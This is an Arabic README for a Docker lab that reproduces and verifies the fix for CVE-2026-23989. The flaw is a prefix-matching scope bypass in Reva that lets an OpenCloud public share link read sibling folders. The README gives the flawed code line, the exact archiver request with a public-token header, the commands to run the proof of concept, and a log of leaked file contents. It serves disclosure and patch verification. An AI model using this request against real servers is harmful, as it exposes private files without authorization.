
# مختبر إعادة إنتاج (A/B Docker) لـ CVE-2026-23989 — تجاوز التحقق من نطاق الروابط العامة في OpenCloud / ownCloud Infinite Scale في Reva
مختبر متكامل ذاتيًا بأمر واحد يعيد إنتاج CVE-2026-23989 ويثبت إصلاحه، باستخدام صور Docker الرسمية من المصدر. رابط مشاركة عام من المفترض أن يمنح الوصول إلى مجلد واحد يمكن استغلاله لقراءة ملفات خارج نطاق ذلك المجلد.
| CVE | CVE-2026-23989 |
| الإشعار الأمني | GHSA-vf5j-r2hw-2hrw ("استغلال الرابط العام") |
| CVSS 3.1 | 8.2 عالية — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| التصنيف | خلل في التحكم بالوصول — التباس بادئة المسار في التحقق من النطاق |
| السبب الجذري | استخدام strings.HasPrefix في Reva checkIfNestedResource للتحقق من احتواء المسار |
| المتأثر | OpenCloud المستقر ≤ 4.0.2 (Reva ≤ v2.40.2)، المتداول ≤ 5.0.1 (Reva ≤ v2.42.1) |
| المُصلَح | OpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3، PR opencloud-eu/reva#522) |
| الإفصاح | 2026-02-05 |
OpenCloud هو فرع عام 2025 من ownCloud Infinite Scale (OCIS)، أنشأه مهندسو ownCloud السابقون بعد استحواذ Kiteworks على ownCloud. الخلل يكمن في Reva، وهو الواجهة الخلفية لتخزين CS3 التي تتشاركها OCIS/OpenCloud، ووفقًا للإشعار الأمني من البائع — "نشأ في قاعدة كود ownCloud (Kiteworks) وتم توريثه عندما فرّع OpenCloud من OCIS." يُستخدم OpenCloud هنا لأنه يوفر صورًا نظيفة ومثبتة وعامة للنسخة الضعيفة و المُصلَحة مما يتيح مقارنة A/B دقيقة.
internal/grpc/interceptors/auth/scope.go، الدالة checkIfNestedResource — وهي المعترض الوسيط للبوابة الذي يقرر ما إذا كان رمز الرابط العام مسموحًا له بلمس مورد:
// ضعيف (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil
parentPath هو مسار المجلد المشترك (نطاق الرابط)؛ childPath هو مسار المورد المطلوب. بادئة السلسلة ليست احتواءً للمسار:
parentPath = "/Shared"
childPath = "/Shared-secret/flag.txt" (مجلد شقيق، وليس فرعيًا)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true ← خطأ: تم منح الوصول
لذا فإن الرابط المقيّد بـ /Shared يصل أيضًا إلى أي مورد في نفس المساحة يبدأ مساره بالسلسلة /Shared — مثل /Shared-secret، /Shared-2024، /Shared backup. الإصلاح يستبدل الاختبار بـ filepath.Rel ويرفض أي مسار نسبي يبدأ بـ .. (التصحيح الكامل في patch/reva-scope.go.patch).
كل عملية بوابة تحمل رمز رابط عام تمر عبر فحص النطاق المعيب، لكن البدائية التي اكتشفها الباحثون (وهي أساس هذا المختبر) هي خدمة الأرشيف في GET /archiver، المُصادَق عليها لرابط عام عبر ترويسة public-token:. تقبل معرف مورد (?id=<fileid>)، وتتنقل فيه، وتبث ملف zip. وجّهها إلى معرف شقيق بادئة خارج النطاق فيسمح الفحص المعيب بذلك:
GET /archiver?id=<id-of-/Shared-secret>
public-token: <رمز الرابط المقيّد بـ /Shared>
→ 200، zip من /Shared-secret (على 4.0.2)
→ 404 "gateway could not find space for ref=…" (على 4.0.3)
يجب على المهاجم توفير معرف المورد للهدف خارج النطاق. هذا المعرف المعتم هو UUID عشوائي وليس قابلًا للتعداد عبر الرابط العام نفسه (لا يمكن للرابط سرد مساحة المالك — يعيد 401). ومع ذلك، في OCIS، يتم كشف oc:fileid للمورد في كل استجابة WebDAV/graph تقريبًا، ودعوات المشاركة، وإشعارات النشاط، وعناوين الويب (/f/<id>)؛ لذا فإن أي متعاون سابق، أو مستلم سابق لمشاركة مختلفة، أو مستخدم داخلي يحمله بشكل روتيني — ولهذا قيّم البائع تعقيد الهجوم بأنه منخفض. يحصل setup.sh في المختبر على المعرف "بصفته الضحية" لتسليمه لخطوة المهاجم، محاكيًا تلك المعرفة المسبقة الواقعية. اجتياز المسار (?path=../…) ليس بديلًا عمليًا: تلك المسارات تُحل نسبيًا إلى المشاركة وتُنظَّف (404).
"/" وHasPrefix("/", "/Shared") خاطئ (يؤكد المختبر ذلك: أرشفة جذر المساحة → 404). الأشقاء غير المطابقين للبادئة مثل /Private مرفوضون أيضًا على النسخة الضعيفة — يستخدم المختبر ذلك كعنصر تحكم لإثبات أن التأثير هو تحديدًا خلل البادئة، وليس فشل مصادقة عام.| الملف | الغرض |
|---|---|
docker-compose.yml | حاوية OpenCloud واحدة؛ OC_TAG يختار النسخة الضعيفة (4.0.2) أو المُصلَحة (4.0.3). |
setup.sh | يزرع سيناريو الضحية في مساحة المستخدم التجريبي mary وينشئ رابطًا عامًا بدون كلمة مرور على /Shared. يكتب state.env. |
exploit.sh | إثبات المفهوم للمهاجم. بمعرفة رمز الرابط + معرف المورد الهدف، يستدعي الأرشيف ويطبع أي بايتات مسرّبة. |
verify.sh | مقارنة A/B بأمر واحد: إعادة الإنتاج على 4.0.2، تأكيد الإصلاح على 4.0.3، طباعة مصفوفة نجاح/فشل. |
patch/reva-scope.go.patch | الإصلاح الدقيق من سطر واحد من المصدر، مع تعليقات توضيحية. |
السيناريو المزروع في مساحة mary الشخصية:
/Shared/public-note.txt ← مشارك عبر الرابط العام (داخل النطاق)
/Shared-secret/flag.txt ← هدف إثبات المفهوم؛ المسار يبدأ بـ "/Shared" (خارج النطاق)
/Private/topsecret.txt ← عنصر تحكم؛ غير مطابق للبادئة (خارج النطاق، يبقى مرفوضًا)
المتطلبات: Docker + Docker Compose، curl، python3. يسحب حوالي 250 ميجابايت من الصور.
./verify.sh
المخرجات المتوقعة:
== الاستغلال + عناصر التحكم ضد النسخة الضعيفة 4.0.2 ==
[نجاح] داخل النطاق /Shared (وصول شرعي) (تسريب متوقع)
[نجاح] إثبات المفهوم: خارج النطاق /Shared-secret (تسريب متوقع)
[نجاح] غير مطابق للبادئة /Private (يجب أن يبقى مرفوضًا) (رفض متوقع)
== الاستغلال + عنصر التحكم ضد النسخة المُصلَحة 4.0.3 ==
[نجاح] داخل النطاق /Shared (لا يزال يعمل) (تسريب متوقع)
[نجاح] إثبات المفهوم: خارج النطاق /Shared-secret (مُصلَح) (رفض متوقع)
== الحكم ==
5 نجاح، 0 فشل
تم إعادة إنتاج CVE-2026-23989 على 4.0.2 وتأكيد إصلاحه على 4.0.3.
زوج الإصدارات المتداولة بدلًا من المستقر:
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh
# 1. تشغيل النسخة الضعيفة
OC_TAG=4.0.2 docker compose up -d
# 2. زرع سيناريو الضحية (ينشئ الرابط العام، يكتب state.env)
./setup.sh
# 3. الهجوم: تسريب الشقيق خارج النطاق (يقرأ الهدف من state.env)
./exploit.sh # الافتراضي: معرف /Shared-secret
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")" # عنصر تحكم: مرفوض
سجل حقيقي ضد النسخة الضعيفة (قيم state.env تختلف لكل تشغيل):
===== الاستغلال /Shared-secret (شقيق بادئة خارج النطاق) =====
[*] رمز الرابط العام: UVWPXGsjlLJRYxK (النطاق: مجلد مشترك واحد)
[*] HTTP 200، 365 بايت
Shared-secret/flag.txt:
FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] تأكيد التسريب — تم تسريب بايتات ملف خارج النطاق عبر الرابط العام.
===== عنصر التحكم /Private (خارج النطاق، غير مطابق للبادئة) =====
[*] HTTP 404، 249 بايت
[-] مرفوض — رفض الخادم: خطأ: غير موجود: gateway could not find space for ref=…
تأكيد الإصلاح بنفس البيانات (نفس الرمز والمعرفات):
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh # الآن → HTTP 404، مرفوض
الإيقاف:
docker compose down -v
GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" على الحاوية. يؤكد البائع أن هذا يخفف المشكلة تمامًا (يعيد الرابط العام خطأً عندها).docker-compose.yml يُضعف المثيل عمدًا ليكون إثبات المفهوم قابلاً للبرمجة:
PROXY_ENABLE_BASIC_AUTH=true (حتى يعمل curl -u/public-token دون رقصة OIDC)، IDM_CREATE_DEMO_USERS=true (mary/demo إلخ — كلمات مرور عامة)، IDM_ADMIN_PASSWORD=admin، روابط عامة بدون كلمة مرور، وشهادة موقعة ذاتيًا (curl -k). لا شيء من هذه هو الثغرة؛ فهي فقط تجعلها قابلة للملاحظة في الصدفة. الالتفاف نفسه مستقل عنها.
8d52003